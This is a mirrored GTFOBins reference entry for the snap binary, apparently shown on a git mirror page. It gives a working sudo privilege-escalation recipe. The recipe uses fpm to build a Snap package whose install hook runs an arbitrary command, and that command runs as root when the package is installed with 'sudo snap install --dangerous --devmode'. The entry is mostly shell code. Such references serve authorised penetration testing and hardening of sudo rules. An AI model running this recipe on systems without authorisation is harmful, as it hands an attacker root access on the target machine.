1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-07 20:50:38 +02:00
GTFOBins.github.io/_gtfobins/snap.md
2021-04-28 08:51:13 +02:00

529 B

functions
sudo
description code
It runs commands using a specially crafted Snap package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target. ``` COMMAND=id cd $(mktemp -d) mkdir -p meta/hooks printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install chmod +x meta/hooks/install fpm -n xxxx -s dir -t snap -a all meta ``` sudo snap install xxxx_1.0_all.snap --dangerous --devmode